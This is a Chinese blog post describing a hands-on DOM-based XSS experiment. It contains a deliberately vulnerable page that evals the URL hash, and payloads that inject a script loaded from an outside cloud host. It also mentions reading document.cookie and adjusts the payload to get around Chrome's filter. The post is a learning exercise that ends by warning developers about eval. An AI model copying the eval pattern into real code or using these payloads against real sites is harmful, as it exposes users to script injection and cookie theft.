以前就对XSS有所耳闻,不过昨天在学习《深刻浅出nodejs》过程当中,才深刻了解到XSS攻击的原理,因而找到那本很早就想看的《web前端黑客技术解密》,找到 跨站攻击脚本XSS 章节,因而有了下面这个简单的XSS攻击实验。javascript
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>XSSdemo</title> </head> <script> eval(location.hash.substr(1)) </script> <body> </body> </html>
关键代码:eval(location.hash.substr(1))html
alert("你的网站被XSS攻击了!")
关键代码:alert("你的网站被XSS攻击了!")
Cookie被常常看成输入点,可使用escape(document.cookie)来获取用户Cookie中保存的敏感信息,例如电话号码,密码等等。前端
待访问文件xss.html的url上加上hash值。#document.write("<script/src=//http://ov6jc8fwp.bkt.clouddn.com/xss.js></script>")
java
例如:
file:///C:/Users/jack/Desktop/XSSdemo/index.html#document.write("<script/src=//http://ov6jc8fwp.bkt.clouddn....;</script>")node
在真实环境中,这段file:///C:/Users/jack/Desktop/XSSdemo/能够是http://192.168.32.89:80/,http://192.16.32.89:8080/等真实地址。
完整形式如:http://192.16.32.89:8080/index.html#document.write("<script/src=//http://ov6jc8fwp.bkt.clouddn....;</script>")web
在Chrome中输入浏览器
file:///C:/Users/jack/Desktop/XSSdemo/index.html#document.write(<script/src=//http://ov6jc8fwp.bkt.clouddn....;</script>")安全
会被Chrome拦截,拦截截图以下:cookie
为何会被拦截?
由于Chrome 的filter防护机制会致使这个没法成功,其它浏览器能够被攻击。前端工程师
(浏览器版本为Firefox 57.0 Quantum版)
须要对原始攻击代码作下简单调整。eval(decodeURI(location.hash.substr(1)))
相应的访问连接也更改成file:///C:/Users/jack/Desktop/XSSdemo/index.html#document.write(<script/src=http://ov6jc8fwp.bkt.clouddn.com/xss.js></script>")
XSS攻击FireFox成功!
能够看到,XSS脚本被成功写入到index.html
(浏览器版本为IE11.726.15063.0 )
XSS攻击IE11成功!
攻击了这么久,难道我是要去绿,哦不,黑别人吗?
NoNoNo,我是为了让本身的网站更加安全。
以前有了解到javascript的eval()会有安全问题,经过今天的例子,才明白eval()原来会帮助 XSS攻击输入点代码进行攻击,例如:
本例中的输入点为location.hash.substr(1),其值为'document.write(<script/src=http://ov6jc8fwp.bkt.clouddn....;</script>")'
本质上eval(decodeURI(location.hash.substr(1)))
其实就是执行了eval'(document.write(`<script/src=http://ov6jc8fwp.bkt.clouddn....;</script>")')
简单来讲,eval()会执行XSS跨站攻击脚本,前端工程师在开发过程当中要注意eval()使用存在的安全隐患。
对于浏览器喜好程度,我想Chrome在防护XSS攻击方面又为本身加了很多分,之后强推Chrome又多了一个理由。
其实关于XSS攻击还有不少学问在其中,我所了解到的只是冰山一角,后续再继续探索!
That's it !